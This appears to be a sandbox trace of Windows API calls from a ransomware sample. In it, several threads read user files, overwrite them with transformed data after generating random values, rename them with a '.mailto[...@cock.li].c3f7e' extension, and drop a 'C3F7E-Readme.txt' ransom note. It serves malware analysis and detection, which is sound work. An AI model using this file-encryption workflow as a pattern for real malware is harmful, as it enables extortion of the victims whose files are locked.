	[0076.265] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0076.287] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.287] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d0
	[0076.287] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0xaa8f9a8 | out: lpFileSize=0xaa8f9a8*=6309) returned 1
	[0076.288] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x18a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.288] ReadFile (in: hFile=0x9d0, lpBuffer=0xaa8f92c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa8f928, lpOverlapped=0x0 | out: lpBuffer=0xaa8f92c*, lpNumberOfBytesRead=0xaa8f928*=0x4, lpOverlapped=0x0) returned 1
	[0076.290] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e50
	[0076.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.291] NtQuerySystemTime (in: CurrentTime=0xaa8f908 | out: CurrentTime=0xaa8f908*=132251868030351973) returned 0x0
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x48ba6797
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xf8b63771
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x15920c55
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xf659bf55
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xaf9e703c
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xbacc1c09
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x89485692
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x120c9a06
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x817077f7
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x2ecfda32
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xc8475274
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x817c450
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x7f3ce50b
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xb5a1ae7
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xdb7f55d0
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x99ef3229
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xb18224bb
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x2c31244
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x65b6f0da
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xe7316108
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x87492b90
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x5349f9aa
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x14056936
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x308d7cfc
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xaaf3aafc
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x2c3909dc
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x3fba269e
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x5ea410b5
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xba9cc693
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0xbe04b39
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x9a326889
	[0076.291] RtlRandom (in: Seed=0xaa8f914 | out: Seed=0xaa8f914) returned 0x85b899d0
	[0076.302] ReadFile (in: hFile=0x9d0, lpBuffer=0x4ee48d0, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0xaa8f904, lpOverlapped=0x0 | out: lpBuffer=0x4ee48d0*, lpNumberOfBytesRead=0xaa8f904*=0x18a5, lpOverlapped=0x0) returned 1
	[0076.303] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.303] WriteFile (in: hFile=0x9d0, lpBuffer=0x4ef10d8*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0xaa8f900, lpOverlapped=0x0 | out: lpBuffer=0x4ef10d8*, lpNumberOfBytesWritten=0xaa8f900*=0x18a5, lpOverlapped=0x0) returned 1
	[0078.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0078.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34078
	[0078.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34078) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ef10d8) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ee48d0) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a50) returned 1
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34140
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34078
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x4897ba8
	[0078.477] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.478] WriteFile (in: hFile=0x9d0, lpBuffer=0x4897ba8*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xaa8f968, lpOverlapped=0x0 | out: lpBuffer=0x4897ba8*, lpNumberOfBytesWritten=0xaa8f968*=0x101, lpOverlapped=0x0) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897ba8) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34078) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34140) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e50) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0078.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78978
	[0078.663] wcscpy (in: _Dest=0x2d78978, _Source="C:\\588bce7c90097ed212\\3076\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf"
	[0078.663] wcscat (in: _Dest=0x2d78978, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.663] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xaa8f920, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\3076\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d408
	[0078.663] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0xaa8f918, FileInformation=0x2d5d408, Length=0xa4, FileInformationClass=0xa) returned 0x0
	[0078.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0078.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2afd8) returned 1
	[0078.745] NtQueryInformationFile (in: FileHandle=0x9d0, IoStatusBlock=0xaa8f92c, FileInformation=0xaa8f904, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaa8f92c, FileInformation=0xaa8f904) returned 0x0
	[0078.745] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0xaa8f92c, FileInformation=0xaa8f904, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78978) returned 1
	[0078.748] FlushFileBuffers (hFile=0x9d0) returned 1
	[0080.089] CloseHandle (hObject=0x9d0) returned 1
	[0080.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780b88
	[0080.190] wcscpy (in: _Dest=0x4780b88, _Source="C:\\588bce7c90097ed212\\3076\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0080.190] wcscat (in: _Dest=0x4780b88, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt"
	[0080.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1318
	[0080.249] WriteFile (in: hFile=0x1318, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xaa8f928, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xaa8f928*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.251] CloseHandle (hObject=0x1318) returned 1
	[0080.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780b88) returned 1
	[0080.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ab0) returned 1

Thread:
	id = 217
	os_tid = 0x12ac

	[0076.303] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0076.308] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d8
	[0076.308] GetFileSizeEx (in: hFile=0x9d8, lpFileSize=0xab0fbd0 | out: lpFileSize=0xab0fbd0*=60816) returned 1
	[0076.308] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0xed8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.309] ReadFile (in: hFile=0x9d8, lpBuffer=0xab0fb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xab0fb50, lpOverlapped=0x0 | out: lpBuffer=0xab0fb54*, lpNumberOfBytesRead=0xab0fb50*=0x4, lpOverlapped=0x0) returned 1
	[0076.310] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a18
	[0076.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.310] NtQuerySystemTime (in: CurrentTime=0xab0fb30 | out: CurrentTime=0xab0fb30*=132251868030441774) returned 0x0
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x744303d8
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x7b287c8c
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x1b7d63b4
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x9c0a7691
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xf074f9ff
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x14605a77
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xa172fce2
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x9e36e6b6
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xa2408bef
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x541ed829
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x451165f0
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xe57cb4b5
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x630db872
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xebe225f2
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x325ee8a8
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xbbed7956
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x44cd8784
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xd85b1d21
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x9320887b
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x6ae48f1b
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x39039a7c
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xec285411
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x990d4857
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x4ebe4cd5
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xb114e0ca
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xfada08cc
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x25fa8145
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xe60eb0f1
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x99ecc345
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x7cba1d84
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0xa1b23fb5
	[0076.310] RtlRandom (in: Seed=0xab0fb3c | out: Seed=0xab0fb3c) returned 0x1c7d03d9
	[0076.320] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.320] ReadFile (in: hFile=0x9d8, lpBuffer=0x4efd8e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xab0fb10, lpOverlapped=0x0 | out: lpBuffer=0x4efd8e0*, lpNumberOfBytesRead=0xab0fb10*=0xc800, lpOverlapped=0x0) returned 1
	[0076.321] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a98
	[0076.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e03fa0
	[0076.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e00) returned 1
	[0076.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f0a0e8
	[0076.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e00
	[0076.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a68) returned 1
	[0076.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1
	[0076.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a98) returned 1
	[0076.324] WriteFile (in: hFile=0x9d8, lpBuffer=0x4f0a0e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xab0fb10, lpOverlapped=0x0 | out: lpBuffer=0x4f0a0e8*, lpNumberOfBytesWritten=0xab0fb10*=0xc800, lpOverlapped=0x0) returned 1
	[0078.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f0a0e8) returned 1
	[0078.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4efd8e0) returned 1
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e380
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae38
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47533e0
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342d0
	[0078.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342d0) returned 1
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e6c8
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342d0
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47533e0) returned 1
	[0078.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae38) returned 1
	[0078.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4897cb8
	[0078.488] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.488] WriteFile (in: hFile=0x9d8, lpBuffer=0x4897cb8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xab0fb90, lpOverlapped=0x0 | out: lpBuffer=0x4897cb8*, lpNumberOfBytesWritten=0xab0fb90*=0x113, lpOverlapped=0x0) returned 1
	[0078.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897cb8) returned 1
	[0078.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e6c8) returned 1
	[0078.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342d0) returned 1
	[0078.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e380) returned 1
	[0078.663] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e00) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724a18) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0078.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0078.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49867b8
	[0078.664] wcscpy (in: _Dest=0x49867b8, _Source="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml"
	[0078.664] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.664] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xab0fb48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a568
	[0078.664] NtSetInformationFile (FileHandle=0x9d8, IoStatusBlock=0xab0fb40, FileInformation=0x476a568, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a568) returned 1
	[0078.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5cbc8) returned 1
	[0078.749] NtQueryInformationFile (in: FileHandle=0x9d8, IoStatusBlock=0xab0fb54, FileInformation=0xab0fb2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xab0fb54, FileInformation=0xab0fb2c) returned 0x0
	[0078.749] NtSetInformationFile (FileHandle=0x9d8, IoStatusBlock=0xab0fb54, FileInformation=0xab0fb2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.750] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0078.750] FlushFileBuffers (hFile=0x9d8) returned 1
	[0080.093] CloseHandle (hObject=0x9d8) returned 1
	[0080.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780cc0
	[0080.192] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\588bce7c90097ed212\\3076\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0080.192] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt"
	[0080.192] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\c3f7e-readme.txt")) returned 0x20
	[0080.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0080.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733730) returned 1

Thread:
	id = 218
	os_tid = 0xfec

	[0076.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0076.326] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.326] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9dc
	[0076.326] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0xab8f860 | out: lpFileSize=0xab8f860*=3069) returned 1
	[0076.326] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0xbf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.326] ReadFile (in: hFile=0x9dc, lpBuffer=0xab8f7e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xab8f7e0, lpOverlapped=0x0 | out: lpBuffer=0xab8f7e4*, lpNumberOfBytesRead=0xab8f7e0*=0x4, lpOverlapped=0x0) returned 1
	[0076.327] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
